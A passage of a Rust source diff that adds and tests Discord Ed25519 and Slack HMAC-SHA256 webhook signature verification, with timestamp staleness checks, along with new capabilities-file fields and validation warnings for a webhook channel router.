async fn test_webhook_rejects_missing_sig_headers() {
let (wasm_router, app) = setup_discord_router().await;
// Register a signature key
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Send request without signature headers
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Missing signature headers should return 401"
);
}
#[tokio::test]
async fn test_webhook_rejects_invalid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", "deadbeefdeadbeef")
.header("x-signature-timestamp", "1234567890")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Invalid signature should return 401"
);
}
#[tokio::test]
async fn test_webhook_accepts_valid_signature() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Use current timestamp so staleness check passes
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body_bytes = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_bytes);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body_bytes[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 — signature is valid (may be 500 since no WASM module)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid signature should not return 401"
);
}
#[tokio::test]
async fn test_webhook_skips_sig_for_no_key() {
let (_wasm_router, app) = setup_discord_router().await;
// No signature key registered — should not require signature
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.body(Body::from(r#"{"type":1}"#))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 (may be 500 since no WASM module, but not auth failure)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"No signature key registered — should skip sig check"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_body() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let timestamp = "1234567890";
// Sign body A
let body_a = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body_a);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send body B
let body_b = br#"{"type":2}"#;
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp)
.body(Body::from(&body_b[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature for different body should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_check_uses_timestamp() {
let (wasm_router, app) = setup_discord_router().await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
// Sign with timestamp A
let timestamp_a = "1234567890";
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp_a.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// But send timestamp B in the header
let timestamp_b = "9999999999";
let req = Request::builder()
.method("POST")
.uri("/webhook/discord")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", timestamp_b)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature with mismatched timestamp should return 401"
);
}
#[tokio::test]
async fn test_webhook_sig_plus_secret() {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("discord");
let endpoints = vec![RegisteredEndpoint {
channel_name: "discord".to_string(),
path: "/webhook/discord".to_string(),
methods: vec!["POST".to_string()],
require_secret: true,
}];
// Register with BOTH secret and signature key
wasm_router
.register(channel, endpoints, Some("my-secret".to_string()), None)
.await;
let signing_key = test_signing_key();
let pub_key_hex = hex::encode(signing_key.verifying_key().to_bytes());
wasm_router
.register_signature_key("discord", &pub_key_hex)
.await
.unwrap();
let app = create_wasm_channel_router(wasm_router.clone(), None);
// Use current timestamp so staleness check passes
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body = br#"{"type":1}"#;
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let sig_hex = hex::encode(signature.to_bytes());
// Provide valid signature AND valid secret
let req = Request::builder()
.method("POST")
.uri("/webhook/discord?secret=my-secret")
.header("content-type", "application/json")
.header("x-signature-ed25519", &sig_hex)
.header("x-signature-timestamp", &timestamp)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should pass both checks (may be 500 due to no WASM module, but not 401)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid secret + valid signature should not return 401"
);
}
// ── HMAC-SHA256 Webhook Signature Tests ────────────────────────────
/// Helper to create a router with a registered channel at /webhook/slack.
async fn setup_slack_router() -> (Arc<WasmChannelRouter>, AxumRouter) {
let wasm_router = Arc::new(WasmChannelRouter::new());
let channel = create_test_channel("slack");
let endpoints = vec![RegisteredEndpoint {
channel_name: "slack".to_string(),
path: "/webhook/slack".to_string(),
methods: vec!["POST".to_string()],
require_secret: false,
}];
wasm_router.register(channel, endpoints, None, None).await;
let app = create_wasm_channel_router(wasm_router.clone(), None);
(wasm_router, app)
}
/// Helper: compute expected Slack signature for testing.
fn slack_signature(signing_secret: &str, timestamp: &str, body: &[u8]) -> String {
use hmac::{Hmac, Mac};
use sha2::Sha256;
let mut basestring = Vec::new();
basestring.extend_from_slice(b"v0:");
basestring.extend_from_slice(timestamp.as_bytes());
basestring.push(b':');
basestring.extend_from_slice(body);
let mut mac = Hmac::<Sha256>::new_from_slice(signing_secret.as_bytes()).unwrap();
mac.update(&basestring);
let computed = mac.finalize().into_bytes();
format!("v0={}", hex::encode(computed))
}
#[tokio::test]
async fn test_webhook_hmac_rejects_missing_sig_headers() {
let (wasm_router, app) = setup_slack_router().await;
wasm_router
.register_hmac_secret("slack", "my-signing-secret")
.await;
// Send request without HMAC signature headers
let req = Request::builder()
.method("POST")
.uri("/webhook/slack")
.header("content-type", "application/json")
.body(Body::from("token=xyzz0WbapA4vBCDEFasx0q6G"))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Missing HMAC signature headers should return 401"
);
}
#[tokio::test]
async fn test_webhook_hmac_rejects_invalid_signature() {
let (wasm_router, app) = setup_slack_router().await;
wasm_router
.register_hmac_secret("slack", "my-signing-secret")
.await;
let req = Request::builder()
.method("POST")
.uri("/webhook/slack")
.header("content-type", "application/json")
.header("x-slack-request-timestamp", "1234567890")
.header("x-slack-signature", "v0=deadbeefdeadbeef")
.body(Body::from("token=xyzz0WbapA4vBCDEFasx0q6G"))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Invalid HMAC signature should return 401"
);
}
#[tokio::test]
async fn test_webhook_hmac_accepts_valid_signature() {
let (wasm_router, app) = setup_slack_router().await;
let signing_secret = "my-signing-secret";
wasm_router
.register_hmac_secret("slack", signing_secret)
.await;
let now_secs = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let timestamp = now_secs.to_string();
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let signature = slack_signature(signing_secret, &timestamp, body);
let req = Request::builder()
.method("POST")
.uri("/webhook/slack")
.header("content-type", "application/json")
.header("x-slack-request-timestamp", &timestamp)
.header("x-slack-signature", &signature)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 — signature is valid (may be 500 since no WASM module)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Valid HMAC signature should not return 401"
);
}
#[tokio::test]
async fn test_webhook_hmac_skips_check_for_no_secret() {
let (_wasm_router, app) = setup_slack_router().await;
// No HMAC secret registered — should not require signature
let req = Request::builder()
.method("POST")
.uri("/webhook/slack")
.header("content-type", "application/json")
.body(Body::from("token=xyzz0WbapA4vBCDEFasx0q6G"))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
// Should NOT be 401 (may be 500 since no WASM module, but not auth failure)
assert_ne!(
resp.status(),
StatusCode::UNAUTHORIZED,
"No HMAC secret registered — should skip check"
);
}
#[tokio::test]
async fn test_webhook_hmac_uses_correct_body() {
let (wasm_router, app) = setup_slack_router().await;
let signing_secret = "my-signing-secret";
wasm_router
.register_hmac_secret("slack", signing_secret)
.await;
let timestamp = "1234567890";
let body_a = b"token=xyzz0WbapA4vBCDEFasx0q6G";
let body_b = b"token=MODIFIED";
// Sign body A
let signature = slack_signature(signing_secret, timestamp, body_a);
// But send body B
let req = Request::builder()
.method("POST")
.uri("/webhook/slack")
.header("content-type", "application/json")
.header("x-slack-request-timestamp", timestamp)
.header("x-slack-signature", &signature)
.body(Body::from(&body_b[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature for different body should return 401"
);
}
#[tokio::test]
async fn test_webhook_hmac_uses_correct_timestamp() {
let (wasm_router, app) = setup_slack_router().await;
let signing_secret = "my-signing-secret";
wasm_router
.register_hmac_secret("slack", signing_secret)
.await;
let timestamp_a = "1234567890";
let timestamp_b = "9999999999";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G";
// Sign with timestamp A
let signature = slack_signature(signing_secret, timestamp_a, body);
// But send timestamp B in the header
let req = Request::builder()
.method("POST")
.uri("/webhook/slack")
.header("content-type", "application/json")
.header("x-slack-request-timestamp", timestamp_b)
.header("x-slack-signature", &signature)
.body(Body::from(&body[..]))
.unwrap();
let resp = app.oneshot(req).await.unwrap();
assert_eq!(
resp.status(),
StatusCode::UNAUTHORIZED,
"Signature with mismatched timestamp should return 401"
);
}
}
+221
View File
@@ -51,6 +51,14 @@ use crate::tools::wasm::{CapabilitiesFile as ToolCapabilitiesFile, RateLimitSche
/// Root schema for a channel capabilities JSON file.
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
pub struct ChannelCapabilitiesFile {
/// Extension version (semver).
#[serde(default)]
pub version: Option<String>,
/// WIT interface version this channel was compiled against (semver).
#[serde(default)]
pub wit_version: Option<String>,
/// File type, must be "channel".
#[serde(default = "default_type")]
pub r#type: String,
@@ -90,6 +98,37 @@ impl ChannelCapabilitiesFile {
serde_json::from_slice(bytes)
}
/// Validate the capabilities file and emit warnings for common misconfigurations.
///
/// Called once at load time to catch issues early. Warnings are emitted via
/// `tracing::warn` so they show up in startup logs without blocking loading.
pub fn validate(&self) {
const MIN_PROMPT_LENGTH: usize = 30;
// Check for short prompts in required_secrets
for secret in &self.setup.required_secrets {
if secret.prompt.len() < MIN_PROMPT_LENGTH {
tracing::warn!(
channel = self.name,
secret = secret.name,
prompt = secret.prompt,
"setup.required_secrets prompt is shorter than {} chars — \
consider a more descriptive prompt that tells the user where to find this value",
MIN_PROMPT_LENGTH
);
}
}
// Has required_secrets but no setup_url
if !self.setup.required_secrets.is_empty() && self.setup.setup_url.is_none() {
tracing::warn!(
channel = self.name,
"setup.required_secrets defined but no setup.setup_url — \
user has no link to obtain credentials"
);
}
}
/// Convert to runtime ChannelCapabilities.
pub fn to_capabilities(&self) -> ChannelCapabilities {
self.capabilities.to_channel_capabilities(&self.name)
@@ -111,6 +150,30 @@ impl ChannelCapabilitiesFile {
.and_then(|w| w.secret_header.as_deref())
}
/// Get the signature verification key secret name for this channel.
///
/// Returns the secret name declared in `webhook.signature_key_secret_name`,
/// used to look up the Ed25519 public key in the secrets store.
pub fn signature_key_secret_name(&self) -> Option<&str> {
self.capabilities
.channel
.as_ref()
.and_then(|c| c.webhook.as_ref())
.and_then(|w| w.signature_key_secret_name.as_deref())
}
/// Get the HMAC-SHA256 signing secret name for this channel.
///
/// Returns the secret name declared in `webhook.hmac_secret_name`,
/// used to look up the HMAC signing secret in the secrets store (Slack-style).
pub fn hmac_secret_name(&self) -> Option<&str> {
self.capabilities
.channel
.as_ref()
.and_then(|c| c.webhook.as_ref())
.and_then(|w| w.hmac_secret_name.as_deref())
}
/// Get the webhook secret name for this channel.
///
/// Returns the configured secret name or defaults to "{channel_name}_webhook_secret".
@@ -230,6 +293,15 @@ pub struct WebhookSchema {
/// Default: "{channel_name}_webhook_secret"
#[serde(default)]
pub secret_name: Option<String>,
/// Secret name in secrets store containing the Ed25519 public key
/// for signature verification (e.g., Discord interaction verification).
#[serde(default)]
pub signature_key_secret_name: Option<String>,
/// Secret name in secrets store for HMAC-SHA256 signing (Slack-style).
#[serde(default)]
pub hmac_secret_name: Option<String>,
}
/// Setup configuration schema.
@@ -245,6 +317,10 @@ pub struct SetupSchema {
/// Placeholders like {secret_name} are replaced with actual values.
#[serde(default)]
pub validation_endpoint: Option<String>,
/// User-facing URL where they can create/manage credentials.
#[serde(default)]
pub setup_url: Option<String>,
}
/// Configuration for a secret required during setup.
@@ -585,4 +661,149 @@ mod tests {
64
);
}
// ── Category 5: Discord Capabilities Setup & Configuration ──────────
#[test]
fn test_validate_channel_short_prompt() {
// prompt < 30 chars — should not panic
let json = r#"{
"name": "test-channel",
"setup": {
"required_secrets": [
{ "name": "bot_token", "prompt": "Bot token" }
],
"setup_url": "https://example.com"
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
// Should not panic; warning emitted for short prompt
file.validate();
}
#[test]
fn test_validate_channel_missing_setup_url() {
// required_secrets without setup_url — should not panic
let json = r#"{
"name": "test-channel",
"setup": {
"required_secrets": [
{
"name": "bot_token",
"prompt": "Enter your bot token from the developer portal settings"
}
]
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
// Should not panic; warning emitted for missing setup_url
file.validate();
}
#[test]
fn test_validate_clean_channel() {
// Well-configured channel — should not panic or warn
let json = r#"{
"name": "good-channel",
"setup": {
"required_secrets": [
{
"name": "bot_token",
"prompt": "Enter your bot token from https://example.com/bot-settings"
}
],
"setup_url": "https://example.com/bot-settings"
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
// Should not panic and emits no warnings
file.validate();
}
#[test]
fn test_discord_capabilities_has_public_key_secret() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
let secret_names: Vec<&str> = file
.setup
.required_secrets
.iter()
.map(|s| s.name.as_str())
.collect();
assert!(
secret_names.contains(&"discord_public_key"),
"discord.capabilities.json must include discord_public_key in setup.required_secrets, \
found: {:?}",
secret_names
);
}
#[test]
fn test_webhook_schema_signature_key_secret_name() {
let json = r#"{
"name": "discord",
"capabilities": {
"channel": {
"allowed_paths": ["/webhook/discord"],
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(file.signature_key_secret_name(), Some("discord_public_key"));
}
#[test]
fn test_signature_key_secret_name_none_when_missing() {
let json = r#"{
"name": "telegram",
"capabilities": {
"channel": {
"allowed_paths": ["/webhook/telegram"],
"webhook": {
"secret_header": "X-Telegram-Bot-Api-Secret-Token"
}
}
}
}"#;
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(file.signature_key_secret_name(), None);
}
#[test]
fn test_discord_capabilities_signature_key() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
assert_eq!(
file.signature_key_secret_name(),
Some("discord_public_key"),
"discord.capabilities.json must declare signature_key_secret_name"
);
}
#[test]
fn test_discord_capabilities_secrets_allowlist() {
let json = include_str!("../../../channels-src/discord/discord.capabilities.json");
let file = ChannelCapabilitiesFile::from_json(json).unwrap();
let caps = file.to_capabilities();
let secrets_caps = caps
.tool_capabilities
.secrets
.expect("Discord should have secrets capability");
assert!(
secrets_caps.is_allowed("discord_public_key"),
"discord_public_key must be in the secrets allowlist"
);
}
}
+657
View File
@@ -0,0 +1,657 @@
//! Webhook signature verification (Discord Ed25519 and Slack HMAC-SHA256).
//!
//! Validates request signatures for incoming webhooks:
//! - Discord: `X-Signature-Ed25519` and `X-Signature-Timestamp` headers
//! - Slack: `X-Slack-Signature` and `X-Slack-Request-Timestamp` headers
//!
//! See: <https://discord.com/developers/docs/interactions/overview#validating-security-request-headers>
//! See: <https://api.slack.com/authentication/verifying-requests-from-slack>
/// Verify a Discord interaction signature.
///
/// Discord signs each interaction with Ed25519 using:
/// - message = `timestamp` (UTF-8 bytes) ++ `body` (raw bytes)
/// - signature = Ed25519 detached signature (hex-encoded in header)
/// - public_key = Application public key from Developer Portal (hex-encoded)
///
/// Returns `true` if the signature is valid, `false` on any error
/// (bad hex, wrong length, invalid signature, etc.).
pub fn verify_discord_signature(
public_key_hex: &str,
signature_hex: &str,
timestamp: &str,
body: &[u8],
now_secs: i64,
) -> bool {
// Staleness check: reject non-numeric or stale/future timestamps
let ts: i64 = match timestamp.parse() {
Ok(v) => v,
Err(_) => return false,
};
if (now_secs - ts).abs() > 5 {
return false;
}
use ed25519_dalek::{Signature, VerifyingKey};
let Ok(sig_bytes) = hex::decode(signature_hex) else {
return false;
};
let Ok(key_bytes) = hex::decode(public_key_hex) else {
return false;
};
let Ok(signature) = Signature::from_slice(&sig_bytes) else {
return false;
};
let Ok(verifying_key) = VerifyingKey::try_from(key_bytes.as_slice()) else {
return false;
};
let mut message = Vec::with_capacity(timestamp.len() + body.len());
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
verifying_key.verify_strict(&message, &signature).is_ok()
}
/// Verify a Slack webhook signature using HMAC-SHA256.
///
/// Slack signs each webhook request with HMAC-SHA256 using:
/// - basestring = `"v0:" + timestamp + ":" + body`
/// - signature = hex-encoded HMAC-SHA256(signing_secret, basestring)
/// - header = `"v0=" + signature` (in `X-Slack-Signature` header)
///
/// Includes staleness check: rejects requests with timestamps older than 5 minutes.
/// Returns `true` if the signature is valid, `false` on any error
/// (bad timing, mismatched signature, invalid format, etc.).
pub fn verify_slack_signature(
signing_secret: &str,
timestamp: &str,
body: &[u8],
signature_header: &str,
now_secs: i64,
) -> bool {
use hmac::{Hmac, Mac};
use sha2::Sha256;
// 1. Parse and check staleness (5-minute window)
let ts: i64 = match timestamp.parse() {
Ok(v) => v,
Err(_) => return false,
};
if (now_secs - ts).abs() > 300 {
return false;
}
// 2. Build the basestring: "v0:{timestamp}:{body}"
let mut basestring = Vec::with_capacity(3 + timestamp.len() + 1 + body.len());
basestring.extend_from_slice(b"v0:");
basestring.extend_from_slice(timestamp.as_bytes());
basestring.push(b':');
basestring.extend_from_slice(body);
// 3. Compute HMAC-SHA256
let mut mac = match Hmac::<Sha256>::new_from_slice(signing_secret.as_bytes()) {
Ok(m) => m,
Err(_) => return false,
};
mac.update(&basestring);
let computed = mac.finalize().into_bytes();
let computed_hex = hex::encode(computed);
let expected = format!("v0={}", computed_hex);
// 4. Constant-time compare (avoids timing side-channels)
use subtle::ConstantTimeEq;
expected
.as_bytes()
.ct_eq(signature_header.as_bytes())
.into()
}
#[cfg(test)]
mod tests {
use super::*;
use ed25519_dalek::{Signer, SigningKey};
/// Helper: generate a test keypair and produce a valid signature for the given timestamp+body.
fn sign_test_message(timestamp: &str, body: &[u8]) -> (String, String, String) {
let signing_key = SigningKey::from_bytes(&[
0x9d, 0x61, 0xb1, 0x9d, 0xef, 0xfd, 0x5a, 0x60, 0xba, 0x84, 0x4a, 0xf4, 0x92, 0xec,
0x2c, 0xc4, 0x44, 0x49, 0xc5, 0x69, 0x7b, 0x32, 0x69, 0x19, 0x70, 0x3b, 0xac, 0x03,
0x1c, 0xae, 0x7f, 0x60,
]);
let verifying_key = signing_key.verifying_key();
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let public_key_hex = hex::encode(verifying_key.to_bytes());
let signature_hex = hex::encode(signature.to_bytes());
(public_key_hex, signature_hex, timestamp.to_string())
}
// ── Category 2: Ed25519 Signature Verification ──────────────────────
/// Existing tests pass `now_secs` matching their hardcoded timestamp
/// so they continue testing crypto-only behavior.
const TEST_TS: i64 = 1234567890;
#[test]
fn test_valid_signature_succeeds() {
let timestamp = "1234567890";
let body = b"test body content";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Valid signature should verify successfully"
);
}
#[test]
fn test_invalid_signature_fails() {
let timestamp = "1234567890";
let body = b"test body content";
let (pub_key, mut sig, ts) = sign_test_message(timestamp, body);
// Tamper one byte of the signature
let mut sig_bytes = hex::decode(&sig).unwrap();
sig_bytes[0] ^= 0xff;
sig = hex::encode(&sig_bytes);
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Tampered signature should fail verification"
);
}
#[test]
fn test_tampered_body_fails() {
let timestamp = "1234567890";
let body = b"original body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
let tampered_body = b"tampered body";
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, tampered_body, TEST_TS),
"Signature for different body should fail"
);
}
#[test]
fn test_tampered_timestamp_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature(&pub_key, &sig, "9999999999", body, TEST_TS),
"Signature with wrong timestamp should fail"
);
}
#[test]
fn test_invalid_hex_signature_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature(&pub_key, "not-valid-hex-zzz", &ts, body, TEST_TS),
"Non-hex signature should fail gracefully"
);
}
#[test]
fn test_invalid_hex_public_key_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
!verify_discord_signature("not-valid-hex-zzz", &sig, &ts, body, TEST_TS),
"Non-hex public key should fail gracefully"
);
}
#[test]
fn test_wrong_length_signature_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, _sig, ts) = sign_test_message(timestamp, body);
// Too short (only 32 bytes instead of 64)
let short_sig = hex::encode([0u8; 32]);
assert!(
!verify_discord_signature(&pub_key, &short_sig, &ts, body, TEST_TS),
"Short signature should fail"
);
}
#[test]
fn test_wrong_length_public_key_fails() {
let timestamp = "1234567890";
let body = b"test body";
let (_pub_key, sig, ts) = sign_test_message(timestamp, body);
// Too short (only 16 bytes instead of 32)
let short_key = hex::encode([0u8; 16]);
assert!(
!verify_discord_signature(&short_key, &sig, &ts, body, TEST_TS),
"Short public key should fail"
);
}
#[test]
fn test_empty_body_valid_signature() {
let timestamp = "1234567890";
let body = b"";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Empty body with valid signature should succeed"
);
}
#[test]
fn test_discord_reference_vector() {
// Hardcoded test vector using the RFC 8032 test key
// This ensures the implementation matches the standard Ed25519 algorithm
let signing_key = SigningKey::from_bytes(&[
0xc5, 0xaa, 0x8d, 0xf4, 0x3f, 0x9f, 0x83, 0x7b, 0xed, 0xb7, 0x44, 0x2f, 0x31, 0xdc,
0xb7, 0xb1, 0x66, 0xd3, 0x85, 0x35, 0x07, 0x6f, 0x09, 0x4b, 0x85, 0xce, 0x3a, 0x2e,
0x0b, 0x44, 0x58, 0xf7,
]);
let verifying_key = signing_key.verifying_key();
let public_key_hex = hex::encode(verifying_key.to_bytes());
let timestamp = "1609459200";
let now_secs: i64 = 1609459200;
let body = br#"{"type":1}"#; // Discord PING
let mut message = Vec::new();
message.extend_from_slice(timestamp.as_bytes());
message.extend_from_slice(body);
let signature = signing_key.sign(&message);
let signature_hex = hex::encode(signature.to_bytes());
assert!(
verify_discord_signature(&public_key_hex, &signature_hex, timestamp, body, now_secs),
"Reference vector should verify"
);
// Same key, but tampered body should fail
assert!(
!verify_discord_signature(
&public_key_hex,
&signature_hex,
timestamp,
br#"{"type":2}"#,
now_secs
),
"Reference vector with tampered body should fail"
);
}
// ── Category: Timestamp Staleness ─────────────────────────────────
#[test]
fn test_stale_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs is 100 seconds after the timestamp — too stale
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 100),
"Stale timestamp (100s old) should be rejected"
);
}
#[test]
fn test_future_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs is 100 seconds before the timestamp — future
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS - 100),
"Future timestamp (100s ahead) should be rejected"
);
}
#[test]
fn test_fresh_timestamp_accepted() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// now_secs matches exactly — fresh
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS),
"Fresh timestamp (0s difference) should be accepted"
);
}
#[test]
fn test_non_numeric_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass a non-numeric timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "not-a-number", body, 0),
"Non-numeric timestamp should be rejected"
);
}
#[test]
fn test_empty_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass an empty timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "", body, 0),
"Empty timestamp should be rejected"
);
}
#[test]
fn test_boundary_5s_accepted() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// Exactly 5 seconds difference — should be accepted (> 5, not >= 5)
assert!(
verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 5),
"Timestamp exactly 5s old should be accepted"
);
}
#[test]
fn test_boundary_6s_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, ts) = sign_test_message(timestamp, body);
// 6 seconds difference — should be rejected
assert!(
!verify_discord_signature(&pub_key, &sig, &ts, body, TEST_TS + 6),
"Timestamp 6s old should be rejected"
);
}
#[test]
fn test_negative_timestamp_rejected() {
let timestamp = "1234567890";
let body = b"test body";
let (pub_key, sig, _ts) = sign_test_message(timestamp, body);
// Pass a negative timestamp string
assert!(
!verify_discord_signature(&pub_key, &sig, "-1", body, TEST_TS),
"Negative timestamp should be rejected"
);
}
// ── Category: HMAC-SHA256 Signature Verification (Slack) ────────────
/// Helper: compute expected Slack signature for a given secret, timestamp, and body.
fn sign_slack_message(signing_secret: &str, timestamp: &str, body: &[u8]) -> String {
use hmac::{Hmac, Mac};
use sha2::Sha256;
let mut basestring = Vec::new();
basestring.extend_from_slice(b"v0:");
basestring.extend_from_slice(timestamp.as_bytes());
basestring.push(b':');
basestring.extend_from_slice(body);
let mut mac = Hmac::<Sha256>::new_from_slice(signing_secret.as_bytes()).unwrap();
mac.update(&basestring);
let computed = mac.finalize().into_bytes();
format!("v0={}", hex::encode(computed))
}
const SLACK_TEST_TS: i64 = 1234567890;
#[test]
fn test_slack_valid_signature_succeeds() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J";
let signature = sign_slack_message(signing_secret, timestamp, body);
assert!(verify_slack_signature(
signing_secret,
timestamp,
body,
&signature,
SLACK_TEST_TS
));
}
#[test]
fn test_slack_tampered_body_fails() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let original_body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J";
let tampered_body = b"token=MODIFIED&team_id=T1DC2JH3J";
let signature = sign_slack_message(signing_secret, timestamp, original_body);
assert!(
!verify_slack_signature(
signing_secret,
timestamp,
tampered_body,
&signature,
SLACK_TEST_TS
),
"Signature for different body should fail"
);
}
#[test]
fn test_slack_tampered_timestamp_fails() {
let signing_secret = "my-signing-secret";
let timestamp = "1234567890";
let body = b"token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J";
let signature = sign_slack_message(signing_secret, timestamp, body);
assert!(
